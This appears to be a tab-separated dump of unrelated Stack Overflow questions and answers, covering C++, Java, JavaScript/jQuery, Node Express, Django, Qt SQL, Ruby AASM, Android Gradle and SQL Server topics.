/*each enum is assigned an integer ordinal that corresponds to its location as it is declared, so MON == 0, TUE == 1, and so on. You can alternatively assign your own value to it in an instance where the default ordinal would not be useful, for instance if you wanted them as characters...*/ enum Foo {Bar = 'B', Qat = 'Q', ...}; // or enum Ratings {PG13 = 13, R = 18, ...}; </code></pre> <p>You would probably benefit from a resource like:</p> <p><a href="http://www.tutorialspoint.com/cplusplus/cpp_references.htm" rel="nofollow">http://www.tutorialspoint.com/cplusplus/cpp_references.htm</a></p> <p>or</p> <p><a href="http://en.cppreference.com/w/" rel="nofollow">http://en.cppreference.com/w/</a></p>
9032715	0	 <p>Try <a href="http://php.net/utf8-decode" rel="nofollow"><code>utf8_decode()</code></a> instead.</p>
1481416	0	 <p>The play button is the start debugging feature. </p> <p>Yes, Visual Studio will ask every project in the solution to build at that point. But note asking to build and actually building are different things. Asking to build merely says, about to do something build again if you would like. MsBuild will then do a bit of checking under the hood and decide if it should actually build the underlying project.</p> <p>If your project is actually building then there may be some other problem going on. Can you give us some more info like language, project type, etc ...</p>
8104034	0	.htaccess - Virtual Directory for a single predefined file <p>How would be the .htaccess lines to make a Virtual Directory from a single php File?</p> <p>www.domain.de/file.php should go to www.domain.de/file/</p> <p>Not all php files, only a single predefined in this Case the file.php</p> <p>Thanks!</p>
15766402	0	Won't recall variable from within boolean expression <p>I'm having trouble finding what exactly java is having trouble with when recalling a variable. I'm creating a simple chatbot and this is what I have so far:</p> <pre><code>public class Chatbot { public static void main(String[] args) { String name = JOptionPane.showInputDialog("Hi! How are you? My name is Chatbot! What is yours? "); if (name.compareTo("a")&lt;0){ String city = JOptionPane.showInputDialog("Nice to meet you! Where are you from, "+name); } else { String city = JOptionPane.showInputDialog("Huh. That's a strange name. Where are you from,"+name); } if (!city.equals("Seattle")){ } } } </code></pre> <p>My problem is that java won't recognize the variable city within the if else statements and so says city is not resolved. How do I get java to recognize the objects within a boolean expression? What am I doing wrong?</p>
23416033	0	 <p>This seems to be more related to the way I was including Espresso than it is a Dagger issue... </p> <pre><code>androidTestCompile ('com.google.android.apps.common.testing:espresso:1.1' ){ exclude group: 'com.squareup.dagger' } </code></pre> <p>Switching to Jake Wharton's "double-espresso" made the problem go away.</p> <p><a href="https://github.com/JakeWharton/double-espresso" rel="nofollow">https://github.com/JakeWharton/double-espresso</a></p> <p>I am still not sure why that would cause a NoClassDefFoundError on that Dagger generated class.</p>
28758654	0	 <p>This is the <strong>correct way</strong> to use <code>$http</code> service and <strong>scope variables</strong>.</p> <pre><code>&lt;html ng-app="people"&gt; &lt;head&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.min.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; var app = angular.module('people', []); app.controller('firstController', ["$scope", "$http", function ($scope, $http) { $scope.store = {}; $scope.store.products = []; $http.get('http://api.randomuser.me').success(function(data){ $scope.user = data.results[0].user; }) }]); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="clk" style="background-color: indigo; widht: 100px; height: 100px"&gt;&lt;/div&gt; &lt;div ng-controller="firstController"&gt; {{ user.email}} &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
1748008	0	 <p>Yes, that's what affinity masks are for. However you need this very rarely. The only reasonable use case I can imagine is restricting the number of cores depending on the end-user license agreement.</p>
7216628	0	 <p>You could use a non-correlated subquery to do the work for you:</p> <pre><code>UPDATE tbl_taxclasses c INNER JOIN ( SELECT COUNT(regionsid) AS n FROM tbl_taxclasses_regions GROUP BY classid ) r USING(classid) SET c.regionscount = r.n WHERE c.classid = 1 </code></pre>
27595996	0	Changing static content directory <p>I am trying to set the express.static path to something different based on a session variable. The relevant code is below.</p> <pre><code>app.use( '/', function(req, res, next ) { if ( req.session.loggedIn ) { console.log("loggedIn : " + req.session.loggedIn); app.use('/', express.static(__dirname + '/private')); next(); } else { console.log("not logged in."); app.use('/', express.static(__dirname + '/public')); next(); } }); </code></pre> <p>When I start the application, I begin with not having req.session.loggedIn set. So it will use the static content in the /public directory (which contains an angular powered application for public users.) I then do a login (code below)</p> <pre><code>app.post('/login', function( req, res ) { req.session.loggedIn = true; var message = {}; message.success = true; message.text = "Logging you in..."; res.json(message); }); </code></pre> <p>Which sets the req.session.loggedIn variable to be true. I then hit refresh on the page (and have tried hard refresh, and cache clear/refresh as well). The console.log tells me "loggedIn : true" as expected, however it does NOT load the static content from the /private directory. It instead continues to load from the /public directory.</p> <p>Can anyone shed light on this issue?</p>
37531987	0	 <p><strong>Django 1.9</strong> <code>settings.py</code>:</p> <pre><code>INTERNAL_IPS = ( '127.0.0.1', ) </code></pre> <p>Templates:</p> <pre><code>{% if debug %} </code></pre> <p><a href="https://docs.djangoproject.com/en/1.9/ref/settings/#std:setting-INTERNAL_IPS" rel="nofollow">https://docs.djangoproject.com/en/1.9/ref/settings/#std:setting-INTERNAL_IPS</a> says:</p> <blockquote> <p>A list of IP addresses, as strings, that:</p> <ul> <li>Allow the debug() context processor to add some variables to the template context.</li> </ul> </blockquote> <p>The <code>debug</code> context processor is in the default <code>settings.py</code>.</p>
32118245	0	 <p>Looks like it's searching for a oracle-specific library and you're using open jdk. Switching to Oracle jdk will probably fix your issue.</p> <p>Install Oracle jdk in your Jenkins server and point JAVA_HOME/PATH variables to Oracle jdk.</p>
35259544	0	QT5/QSql bindValue query doesn't work <p>I have a query made with QSql </p> <pre><code>query.prepare("SELECT id,title,content FROM posts ORDER BY :field :order LIMIT :limit OFFSET :offset"); query.bindValue(":field",QVariant(field)); query.bindValue(":order",order); query.bindValue(":limit",limit); query.bindValue(":offset",offset); </code></pre> <p>I use order value as "DESC" but it doesn't work properly. But , when I do </p> <pre><code>query.prepare("SELECT id,title,content FROM posts ORDER BY "+field+" "+order+" LIMIT :limit OFFSET :offset"); query.bindValue(":limit",limit); query.bindValue(":offset",offset); </code></pre> <p>it works fine and I don't know why. The values are of the same type ( QString and int ). Any suggestions ? </p> <p>Thanks.</p>
4460050	0	 <p>Haskell, because once you've learned Haskell, you will love it. And then, you will be able to learn Common LISP. However, if your editor is Emacs, then go start with Lisp.</p>
35434134	0	 <p>You can extract foder to local storage.</p> <p>Use Storage to take all files from extracted archive:</p> <pre><code>$files = Storage::allFiles($directory); </code></pre> <p>Afterthis upload to S3, like this</p> <pre><code> foreach($files as $file){ $s3-&gt;put($file); } </code></pre> <p>Sorry for code i wite to hand :)</p>
39850264	0	 <p>After gathering more information I came accross an interesting architecture (I have found the idea on reddit but could not retrieve the url).</p> <p>Your whole code should be sperated into independent apps (separation of concern) and you need to define 2 "project wide" apps (site and utils): </p> <ul> <li>the site app can depend on any other app.</li> <li>the utils app does not depend on other apps but other apps can depend on it.</li> <li>the independent apps can only depend on utils.</li> </ul>
26747396	0	 <p>You can use the <code>fileuploadprogressall</code> callback function and compare inside the loaded and total data:</p> <pre><code>$('#fileupload').fileupload({ ... }).bind('fileuploadprogressall', function (e, data) { if(data.loaded==data.total) { console.log("All photos have been done"); } }); </code></pre>
11112006	0	jQuery Form plugin - how to prevent double submission? <p>There are several threads on this here at SO but I didn't find one that deals specifically with the awesome <a href="http://jquery.malsup.com/form/" rel="nofollow">jQuery Form plugin</a> which I use extensively in my app.</p> <p>I want the user to be able to click 'submit' only once -- and disable the 'submit' button until Ajax has returned a JSON string on success.</p> <p>My trial code goes something like this</p> <pre><code>$('#submit_button').live('click', function(e) { e.preventDefault(); var options = { type: 'post', dataType: 'json', beforeSubmit: function(){ $('#loading').show().fadeIn(); $('#submit_button').attr('disabled', 'disabled'); }, success: function(data) { if (data.success === 3) { $('#submit_button').hide(); $('#loading').hide(); $('#validation_message').html(data.message).fadeIn(); $('#submit_button').attr('enabled', 'enabled'); } } } $(this).closest('form').ajaxSubmit(options); }); </code></pre> <p>But this piles up "enabled" and "disabled" attributes in the <code>&lt;button&gt;</code>.</p> <pre><code>&lt;button class="button" id="submit_button" disabled="disabled" enabled="enabled"&gt; Post &lt;/button&gt; </code></pre> <p>Do you have any suggestions on how to get this to work?</p>
36633309	0	Error when using eval to execute aasm block <p>We put the whole <code>aasm</code> block in string and eval it in <code>payment_request</code> model. Here is the def:</p> <pre><code>class PaymentRequest &lt; :ActiveRecord::Base include AASM def self.load_wf_spec(wf_spec, wf_def_name) eval("aasm(:#{wf_def_name}) :column =&gt; 'wf_state' {#{wf_spec}}") end end </code></pre> <p>The error is:</p> <pre><code> Failure/Error: eval("aasm(:#{wf_def_name}) :column =&gt; 'wf_state' {#{wf_spec}}") SyntaxError: (eval):1: syntax error, unexpected ':', expecting end-of-input aasm(:test) :column =&gt; 'wf_state' {state :... ^ # ./app/models/payment_requestx/payment_request.rb:11:in `eval' </code></pre> <p>Here is the value of the variable:</p> <pre><code> wf_def_name = 'test' wf_spec = "state :initial_state, :initial =&gt; true state :ceo_reviewing state :approved state :stamped state :paid state :rejected event :submit_test do transitions :from =&gt; :initial_state, :to =&gt; :ceo_reviewing end event :ceo_approve_test do transitions :from =&gt; :ceo_reviewing, :to =&gt; :approved end event :ceo_reject_test do transitions :from =&gt; :ceo_reviewing, :to =&gt; :rejected end event :ceo_rewind_test do transitions :from =&gt; :ceo_reviewing, :to =&gt; :initial_state end event :stamp_test do transitions :from =&gt; :approved, :to =&gt; :stamped end event :pay_test do transitions :from =&gt; :stamped, :to =&gt; :paid end" </code></pre> <p>If removing (:test)', then the same error points to next:</p> <pre><code>Failure/Error: eval("aasm :column =&gt; 'wf_state' {#{wf_spec}}") SyntaxError: (eval):1: syntax error, unexpected '{', expecting end-of-input aasm :column =&gt; 'wf_state' {state :initial_state, :initial =&gt; true ^ # ./app/models/payment_requestx/payment_request.rb:11:in `eval' </code></pre> <p>What is missing in the eval? Thanks.</p>
4245046	0	Change background of title and header in pivot control <p>In my Phone 7 application, I'm using a pivot control. Now I'd like to change the background of its title and header area. How can I achieve this?</p> <p>Is there an overall template for the pivot control that can be customized?</p> <p>I've already tried to set the background of the grid containing the pivot control to the header color and then to set the background of each pivot item to the original background color. It looks good on first sight. But when you wipe the pivot item to the left to display the second item, an area colored in the header color appears between the two pivot items. So that approach is not working.</p> <p>Furthermore I've tried to customize the template of the title and the header item. But these templates only cover the area of the text itself, not the whole header and template area.</p>
21611060	0	 <p>You're declaring on the <code>attempt</code> varible inside the <code>Login_Click</code> event handler. Hence, each time the <code>Login_Click</code> event is raised, you are initializing it to 0.</p> <pre><code>Dim attempt As Integer = 0 </code></pre> <p>Try to move it to outer scope, for example make it a member of the Class.</p>
7786668	0	 <p>To get a dynamic select from the appropriate table, you can use a dynamic SQL finder.</p> <p>In this example, we select from a table named 'albums', and fabricate a column 'name' to hold the values. These will be returned in the 'Album' model object. Change any of these names to suit your needs.</p> <pre><code>Album.find_by_sql("SELECT DISTINCT SUBSTR(name,1,1) AS 'name' FROM albums ORDER BY 1") </code></pre> <p>Note that you can't use the Album model objects for <em>anything</em> except querying the 'name' field. This is because we've given this object a lobotomy by only populating the 'name' field - there's not even a valid 'id' field associated!</p>
17917378	0	 <p>You are settiing it properly ,The problem is </p> <pre><code>[self.tableView reloadData]; </code></pre> <p>as the cell is reloaded it goes to default setting.Remove that line and the code will work fine.If you want to reload at htat time for some other purpose ,Manage the switch state by keeping it state saved in some variable and use it to set in the <code>cellForRowAtIndexpath</code></p>
35176703	0	 <p>I have the same problem. The facebook pixel analytic page shows all traffic, regardless if they clicked an ad link or not. What are we doing wrong.?</p>
5531989	0	 <p>From your cakephp app you can check if a user exist in the phpbb forums table and you can use the phpbb session to check if a user is logged in.</p>
10938897	0	 <p>There are three alternatives for unsolvable hash collisions on open addressing hash tables:</p> <ol> <li>Re-hash the entire table with a different hash function, and hope that no new unsolvable hash collisions occur.</li> <li>Resize the table (with all operations that this might incur), to guarantee some more possible slots.</li> <li>Keep a separate list for unsolvable hash collisions.</li> </ol> <p>None of those options are good. </p> <p>What you should do is to carefully chose your probing method in combination with the hash table size. If your table size was odd, with the same constant step, you would not run in this problem while there was still space in the table.</p> <p>Popular combinations include quadratic probing with a prime-sized hash table, that guarantees insertion success if the table is less than half-full, and <a href="http://stackoverflow.com/a/2349774/1157317">quadratic probing with triangular numbers and power of 2 hash table</a>, that guarantees insertion if the table isn't full. Power of 2 sized hash tables have many advantages, the only defect being that they are unforgiving on the quality of the hash algorithm.</p>
39355129	0	 <p>Since you have 4 columns including the primary key column, you have to provide data for all four columns. Hence the first one is <strong>IDENTITY</strong> column, you can provide any value for that column as this column value will not be used but ommitted.</p> <p>In your case if you provide data like it will work:</p> <pre><code>1 11 11 11 1 22 22 22 1 33 55 66 </code></pre> <p>I have checked this and found it works. If you don't have any option to alter the csv file then you can create a staging table without the identity column and perform the bulk insert operation. After that, you can move data from your staging to target table by performing INSERT INTO command. I hope this might solve your problem.</p>
25103303	0	 The Python curses module provides an interface to the curses library, the de-facto standard for portable advanced terminal handling.
26114957	0	 <p>this error may happen when you add hammer js in a script tag in your html, if this your case remove it and just depend on requirejs for loading it</p>
29889112	0	where the behavior of private and static method is different from only private method <p>As for my understanding:</p> <p>When a method is static it is </p> <ol> <li>early bind </li> <li>can call with the name of class even before no object is created </li> <li>can call only static member inside it.</li> </ol> <p>I never found any other behaviour of static either at compile time or runtime. <strong>Is there any?</strong></p> <p>When a method is private it is</p> <ol> <li>also early bind </li> <li>can only call inside call so can call directly without object.</li> </ol> <p>For example the <code>hugeCapacity()</code> method in the <code>ArrayList</code> class.</p> <pre><code>private static final int DEFAULT_CAPACITY = 10; private static int hugeCapacity(int minCapacity) { if (minCapacity &lt; 0) // overflow throw new OutOfMemoryError(); return (minCapacity &gt; MAX_ARRAY_SIZE) ? Integer.MAX_VALUE : MAX_ARRAY_SIZE; } </code></pre> <p>Since there are in Java private+static method exist. Why their need occurs. Is it for restriction purpose, to restrict access of non static variables inside a method?</p>
1478465	0	 <p>Here is a complete, working example.</p> <h2>Code</h2> <pre><code>USE master GO IF EXISTS (SELECT * FROM sys.databases WHERE name = N'A') DROP DATABASE A GO IF EXISTS (SELECT * FROM sys.databases WHERE name = N'B') DROP DATABASE B GO CREATE DATABASE A GO CREATE DATABASE B GO USE A GO CREATE TABLE X (Col1 varchar(10) NOT NULL) GO USE B GO CREATE TABLE X2 (Col1 varchar(10) NOT NULL) GO USE A GO CREATE TRIGGER dbo.trX_Insert ON dbo.X FOR INSERT AS BEGIN INSERT INTO B.dbo.X2 (Col1) SELECT Col1 FROM Inserted END GO INSERT INTO A.dbo.X (Col1) VALUES ('This') INSERT INTO A.dbo.X (Col1) VALUES ('That') GO SELECT * FROM A.dbo.X SELECT * FROM B.dbo.X2 GO </code></pre> <h2>Result</h2> <pre><code>Col1 ---------- This That Col1 ---------- This That </code></pre>
22722188	0	 <p><a href="http://www.bootply.com/125688" rel="nofollow">http://www.bootply.com/125688</a></p> <pre><code>.form-control[disabled] { background-color:white; } </code></pre>
40900686	1	Make anaconda jupyter notebook auto save .py script <p>I would like to simply be able to launch the jupyter notebook from Anaconda and have it automatically save a .py script when I save the .ipynb. I tried modifying the <code>jupyter-notebook-script.py</code> in the Anaconda3/envs/env_name/Scripts/ but that wasn't the right way. I know I want to set the <code>post-save-hook=True</code> somewhere.</p>
5689570	0	 <p>This behaviour of Joda Time Contrib is fixed in my project Usertype for Joda Time and JSR310. See <a href="http://usertype.sourceforge.net/" rel="nofollow">http://usertype.sourceforge.net/</a> which is practically otherwise a drop in replacement for JodaTime Hibernate.</p> <p>I have written about this issue: <a href="http://blog.jadira.co.uk/blog/2010/5/1/javasqldate-types-and-the-offsetting-problem.html" rel="nofollow">http://blog.jadira.co.uk/blog/2010/5/1/javasqldate-types-and-the-offsetting-problem.html</a></p> <p>Hope this helps,</p> <p>Chris</p>
32001570	0	Issue with experimental gradle: The android plugin must be applied to the project <p>I'm trying to run some native code with the NDK in Android Studio. I have followed the steps shown <a href="http://tools.android.com/tech-docs/new-build-system/gradle-experimental" rel="nofollow">HERE</a> to use the experimental Gradle, but obviously it's not all going smoothly. I'm getting this error: <code>The android or android-library plugin must be applied to the project</code> <br/> Here is my gradle file:</p> <pre><code>apply plugin: 'com.android.model.application' apply plugin: 'com.neenbedankt.android-apt' apply plugin: 'io.fabric' model { android { compileSdkVersion = 22 buildToolsVersion = "22.0.1" android.ndk { moduleName = "test" } defaultConfig.with { applicationId = "com.shaperstudio.dartboard" minSdkVersion.apiLevel = 15 targetSdkVersion.apiLevel = 22 versionCode = 1 versionName = "1.0" } } android.buildTypes { release { minifyEnabled = false proguardFiles += file('proguard-rules.pro') } } packagingOptions { exclude = 'META-INF/services/javax.annotation.processing.Processor' } } repositories { maven { url "https://jitpack.io" } maven { url 'https://maven.fabric.io/public' } } buildscript { repositories { jcenter() maven { url 'https://maven.fabric.io/public' } } dependencies { classpath 'com.neenbedankt.gradle.plugins:android-apt:1.4' classpath 'io.fabric.tools:gradle:1.+' } } dependencies { compile fileTree(dir: 'libs', include: ['*.jar']) compile 'com.android.support:appcompat-v7:22.2.0' compile 'com.android.support:recyclerview-v7:22.2.0' compile 'com.android.support:design:22.2.0' compile 'com.jakewharton:butterknife:6.1.0' compile 'de.greenrobot:eventbus:2.4.0' apt 'com.bluelinelabs:logansquare-compiler:1.1.0' compile 'com.bluelinelabs:logansquare:1.1.0' compile 'com.birbit:android-priority-jobqueue:1.3' compile 'com.squareup.picasso:picasso:2.5.2' compile 'com.facebook.android:facebook-android-sdk:4.1.0' compile 'com.parse.bolts:bolts-android:1.+' compile fileTree(dir: 'libs', include: '*.jar') compile('com.crashlytics.sdk.android:crashlytics:2.4.0@aar') { transitive = true; } } </code></pre> <p>Any help as to why I'm getting this error would be appreciated</p>
28000225	0	How to return a value from a range if cell contains that value <p>I have a list of Names (First and Surname) in A:A. I also have a range called 'Surnames'. How can I apply a formula so that B:B returns the surname only of A:A if that name is found in the range 'Surnames'.</p> <p>I other words, I want to check a cell in A1, if part of this cell value contains a name listed in my range of surnames, return the surname that A1 include in B1.</p> <p>I hope this makes sense, and thank you in advanced :)</p>
32306132	0	 <p><code>self</code> when used as first method argument, is a shorthand for <code>self: Self</code> – there are also <code>&amp;self</code> which equals <code>self: &amp;Self</code> and <code>&amp;mut self</code> which equals <code>self: &amp;mut Self</code>.</p> <p><code>Self</code> in method arguments is syntactic sugar for the receiving type of the method (i.e. the type whose <code>impl</code> this method is in. This also allows for generic types without too much repetition.</p>
7448853	0	 <p>I have an internationalized product. No translation has been done, but the strings are all externalized, so if we had a desire to ship the product localized for a specific country we could get the files translated, have the product tested, and ship it for use natively in that country.</p> <p>For now the fully internationalized product is all english, but the coding is all done. If someone were to attempt to check in code that was not proper the reviewer could rightly reject it on the grounds that it is not internationalized, and would render the product unable to be fully localized.</p> <p>But since no testing has been done then it really is not internationalized fully yet ... </p>
34190402	0	 <p>You would have to use javascript and/or jquery to dynamically add the css class that has the animation to the desired element after the page has been loaded. We can do this with the $document.ready event in jquery.</p> <pre><code>$(document).ready(function(){ $('css selector').addClass('class-that-has-animation-binding'). }); </code></pre> <p>That is how he is doing it on the <a href="https://daneden.github.io/animate.css/" rel="nofollow">main site</a> if you view is source code. </p>
35852133	0	gantt expanding the timeline date <p>So, looking at this page... <a href="http://docs.dhtmlx.com/gantt/samples/01_initialization/01_basic_init.html" rel="nofollow">http://docs.dhtmlx.com/gantt/samples/01_initialization/01_basic_init.html</a></p> <p>Say I want to expand all the way to December 2017 by clicking on a task, and changing the date from there. If I do this, then the edited task goes off screen and gantt doesn't expand dynamically. Is there a function call that would allow me to expand the timeline via javascript? I can't seem to find it</p>
22576321	0	 <p>First advice? Take a breath. You can't code effectively if you're pissed off all the time. You are going to make lots of mistakes, so you don't want to be pissed off. Accept that fact and make the code better.</p> <p>I would try passing the parent frame that created the dialog, not the dialog itself. </p>
8277814	0	How to compile *.lua files as resource library? <p>In original, I collect *.lua files in a folder , then load them in *.c files </p> <p>Now I want to hide them(*.lua) and let them in a xx.so or xx.dll </p> <p>if this can be done ?</p> <p>if can , then how to load them in c files ?</p>
34128285	0	 <p>One way would be to:</p> <p>a) Copy your JSON to Clipboard (CTRL+C)</p> <p>b) On a Visual Studio class, click on EDIT-> Paste Special -> Paste JSON as classes. This will create the classes equivalent of your JSON for you. Your main object would be named as "Rootobject" and you can change this to whatever name you want.</p> <p>c) Add System.Web.Extensions to your references</p> <p>d) You can convert your JSON to class like so:</p> <pre><code>JavaScriptSerializer serializer = new JavaScriptSerializer(); Rootobject rootObject = serializer.Deserialize&lt;Rootobject&gt;(JsonString); </code></pre> <p>Where <code>JsonString</code> is your API output. </p>
27157856	0	Where do i write if item is not found, and display an appropriate message? <pre><code>public static void modifyBall(String[] hookPotentialArray, String[] nameBallArray, int[] ballWeightArray, int count) { Scanner keyboard = new Scanner(System.in); System.out.println("Please enter the name of the ball you would like to modify: "); String name = keyboard.nextLine(); for (int i = 0; i &lt; count; i++) { if (name.compareToIgnoreCase(nameBallArray[i]) == 0) { System.out.println("Please enter a new name for the ball: "); String ballName = keyboard.nextLine(); System.out.println("Please enter a new weight for the ball: "); int ballWeight = keyboard.nextInt(); System.out.println("Please enter a new hook potential for the ball: "); String hookPotential = keyboard.next(); nameBallArray[i] = ballName; ballWeightArray[i] = ballWeight; hookPotentialArray[i] = hookPotential; System.out.println("The ball list has been updated."); System.out.println(""); } } </code></pre>
30337197	0	 <p>The next element after a <code>td</code> cannot be a <code>checkbox:checked</code>, because it is by definition a <code>td</code> element. The syntax of your <code>if</code> statement is also off.</p> <p>You probably meant:</p> <pre><code>if ($(this).closest('td').next().find('input[type=checkbox]:checked').length) { // Do something } </code></pre> <p>or</p> <pre><code>if ($(this).closest('td').next().find('input[type=checkbox]').is(":checked")) { // Do something } </code></pre> <p><strong>Live Example:</strong></p> <p><div class="snippet" data-lang="js" data-hide="true"> <div class="snippet-code snippet-currently-hidden"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$(document).on('click', '.exempt', function() { if ($(this).closest('td').next().find("input[type=checkbox]:checked").length) { alert("yes, it's checked"); } else { alert("no, it isn't"); } });</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;table&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td style="text-align: center; width: 20px; " class=""&gt; &lt;input type="checkbox" class="exempt" name="exempt"&gt; &lt;/td&gt; &lt;td style="text-align: center; width: 20px; " class=""&gt; &lt;input type="checkbox" class="spammy" name="spammy"&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td style="text-align: center; width: 20px; " class=""&gt; &lt;input type="checkbox" class="exempt" name="exempt"&gt; &lt;/td&gt; &lt;td style="text-align: center; width: 20px; " class=""&gt; &lt;input type="checkbox" class="spammy" name="spammy" checked&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"&gt;&lt;/script&gt;</code></pre> </div> </div> </p> <hr> <p>Separately: You have two elements with the same <code>id</code> value. That's invalid HTML, <code>id</code> values <strong>must</strong> be unique in the document.</p>
34125439	0	OSX sound output split across two USB devices <p>If two headsets are both connected to USB ports in OS X, the Preferences => Sound => Output pane only allows the user to select one of them at a time.</p> <p>I thought at first that there might be a way to "split" the output so that both USB devices receive it, as one can do with minijack-headsets connected to the audio output jack using a splitter. But I find that using a USB hub does not change how the operating system treats the two devices as distinct.</p> <p>However, is there a way to direct the same output to two or more devices simultaneously?</p>
25687389	0	_gaq.push won't send data <p>somehow my <code>_gaq.push</code> function is not working. If I set <code>debug = true</code> I can see the logs, and I know it gets to the else (when I have <code>debug=false</code>) because I tried adding a log in it. Here's my code</p> <pre><code>var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-XXXXXXX-X']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); var debug = false; function send_data(text, url) { if (debug) { console.log("_gaq.push(['_trackEvent', 'Site-change', " + text + ", " + url + "]);"); } else { _gaq.push(['_trackEvent', 'Site-change', text, url]); } } $('.navigation .child a').unbind('click').on('click', function(e) { var url = $(this).attr('href'); var text = $(this).text(); send_data(text, url); }); </code></pre> <p>Any idea?</p>
17963361	0	Hide the text on a button in android? <p>Please tell me how to hide the text on a button in android.</p> <p>When I try this code, the button is hidden but I just want to hide the text on the button.</p> <pre><code>Button b= (Button)findViewById(R.id.follow); b.setVisibility(View.GONE); </code></pre> <p>Please tell me how to solve this.</p> <p>Thank you.</p>
22863487	0	 <p>The request which leads to this method being called need to pass through the Spring Security filter chain, otherwise there will be no security context available when the permissions are checked.</p> <p>Without seeing the rest of the stacktrace, I can't say 100%, but it looks like that's what's happening here, given the exception you are seeing (you should find similar issues if you search for the error message).</p> <p>So you need to make sure all the requests you want secured are handled by the security filter chain, and also that your filter chain is properly configured (which it should be automatically if you're using the namespace).</p>
15129833	0	Suppress Page header when there is no data in Details sections <p>I am using a datatable to load the data for the crystal report. Based on the data filtered by the user in the DataGridview and clicking on Print will display the filtered data in Report.</p> <p>All is fine.I have done this.When there is no data in the Details section I am suppressing it using the below formula in the suppress.</p> <pre><code>Shared NumberVar PageofLastField; If OnLastRecord then PageofLastField = PageNumber; </code></pre> <p>In the header section when there is no data in Details section supress page header.Below is the formula used.</p> <p>(Reference <a href="http://stackoverflow.com/questions/3294027/crystal-reports-suppress-a-page-header-if-the-page-has-0-records">Crystal Reports - Suppress a Page Header if the page has 0 records</a>)</p> <pre><code>Shared NumberVar PageofLastField; PageofLastField := PageofLastField; if pageofLastfield &lt;&gt; 0 and PageNumber &gt; PageofLastField THEN TRUE ELSE FALSE </code></pre> <p>Below is the image of the crystal report.<img src="https://i.stack.imgur.com/TUfk4.png" alt="enter image description here"></p> <p>When I click PRINT button in the front end. When there is no data in Details section the Page header is displayed.</p> <p>Below image is the Second page of the report where there are no records and summary is displayed.</p> <p><img src="https://i.stack.imgur.com/EriJW.png" alt="enter image description here"></p> <p>If in the header section if I use the below formula </p> <pre><code>OnLastRecord AND Count({PaymentReportTable.InvID}) &lt;&gt; 1 </code></pre> <p>In the Second Page even if the records are displayed Pageheader is not displayed.I understand it becos the formula says it all.</p> <p><img src="https://i.stack.imgur.com/Vs4rV.png" alt="enter image description here"></p> <p>I have created around 12 Crystal reports and I am facing the same problem in all of them.</p> <p>Please advice.</p>
29988115	0	 <p>You are not using <code>postdata</code> while sending request:</p> <pre><code>var postdata = "{ \"version\": \"1.0.1\", \"observations\": [ { \"sensor\": \"TISensorTag_temp_01\", \"record\": [ { \"starttime\": \"" + formatDate(new Date()) + "\", \"output\": [ { \"name\": \"ObjTemp\", \"value\": \"" + objtemp + "\" }, { \"name\": \"AmbTemp\", \"value\": \"" + ambtemp + "\" } ] } ] } ] }"; options.data = postdata; //added data to post request request.post(options, callback); </code></pre> <hr> <p>About <strong>Callback</strong>, you have initialized callback and in your case you don't have to pass callback as function parameter. Try use following:</p> <pre><code>async.series([ /*some functions*/ function() { setTimeout(callback, 2000); loop(); } ]) </code></pre>
40593383	0	 <p>I am getting correct number with the following config:- </p> <pre><code> &lt;http:listener-config name="HTTP_Listener_Configuration" host="0.0.0.0" port="8081" doc:name="HTTP Listener Configuration"/&gt; &lt;flow name="Flow1" &gt; &lt;http:listener config-ref="HTTP_Listener_Configuration" path="/test" doc:name="HTTP"/&gt; &lt;json:json-to-object-transformer doc:name="JSON to Object" returnClass="java.util.HashMap"/&gt; &lt;logger message="Order size #[message.payload.orders.order.size()] " level="INFO" doc:name="Logger"/&gt; &lt;json:object-to-json-transformer doc:name="Object to JSON"/&gt; &lt;/flow&gt; </code></pre> <p>and yes, your JSON is incorrect.. It should be :- </p> <pre><code>{ "orders" : { "order" :[ { "id" : "4358153416", "fulfillment" : { "tracking_number" : "915", "line-items" : { "id" : "8367362760" } } }] } } </code></pre> <p>You have missed <strong>[</strong> after order</p>
27828258	0	 <p>You shouldn't be mocking at that level. Basically the idea is that you have interfaces that acts as a facade on database and ORM operations.</p> <pre><code>interface IFetchUsers { UserList GetAll(); User GetById(int id); } interface ICalculateDebt { float GetDebt(int accountId); } interface IPersistOrder { void Save(Order order); } </code></pre> <p>(forgive syntax errors, it's been a long time since I've done Java.)</p> <p>These are injected via the constructor into your other classes and become trivial to <a href="http://martinfowler.com/articles/mocksArentStubs.html" rel="nofollow">mock, or even stub</a>.</p> <p>Then, for actual db code you just implement these interfaces. You can even put all implementations in a single class.</p> <p>And that's it. No need to get fancy, but if you do want to get into fancier versions of this look into the repository design pattern (though I would argue that its not really necessary if using a good ORM).</p>
6063744	0	Ajax client for a CXF service <p>I'm new to CXF, and I was trying to implement a CFX client in Ajax. I had already implemented a client in Java but now I need to implement a client-side application to access CXF. I'm not even sure that it's possible to do that (Accessing CXF directly from client-side). If it's possible then kindly direct me to some ajax code. If not, then please help me with your ideas for a web-based CFX client. Thanks</p>
30225516	0	 <p>This functionality is not implemented in Rails 3. Look at specification of this method <a href="http://apidock.com/rails/v3.2.13/ActionView/Helpers/UrlHelper/button_to" rel="nofollow">here</a>. It was implemented in Rails 4.</p>
